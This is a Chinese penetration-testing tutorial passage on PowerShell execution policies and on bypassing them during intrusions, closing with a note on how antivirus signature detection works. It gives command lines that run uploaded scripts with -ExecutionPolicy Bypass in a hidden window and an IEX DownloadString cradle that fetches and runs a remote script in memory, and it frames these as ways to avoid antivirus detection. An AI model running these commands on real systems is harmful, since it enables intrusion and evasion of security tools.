powershell介绍
powershell是一个基于.Net的shell和脚本语言,它可以帮助管理员进行一些自动化的操作,Windows 7及以上的操作系统默认安装,同时它是支持跨平台的!一旦攻击者可以在一台计算机 上运行代码,他们就会下载PowerShel脚本文件(.ps1) 到磁盘中执行,甚至无须写到磁盘中执行,它可以直接在内存中运行,可以理解为PowerShell 是 cmd 的加强版。
powershell存在六种执行策略:
Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
AllSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略
我们电脑上powershell一般是默认策略
想要更改powershell的默认策略,可以使用Set-ExecutionPolicy Unrestricted,将Restricted策略改成Unrestricted,不过这样在渗透中会被杀毒软件发现。所以在渗透时,就需要采用一些方法绕过策略来执行脚本, 比如下面这三种。
● 绕过本地权限执行
上传xx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1
● 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden NoLogo -NonInteractive -NoProfile File xx.ps1
● 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
powershell描述参考:
https://www.cnblogs.com/coderge/articles/13768824.html
杀毒软件检测原理
杀毒软件的设计者分析各种病毒程序,从中提取特征代码形成病毒特征数据库,作为查找病毒的依据。用户安装杀毒软件后可以对计算机系统中的内存和磁盘进行扫描,对系统中的文件逐一与病毒特征代码进行比较,从而发现并清除感染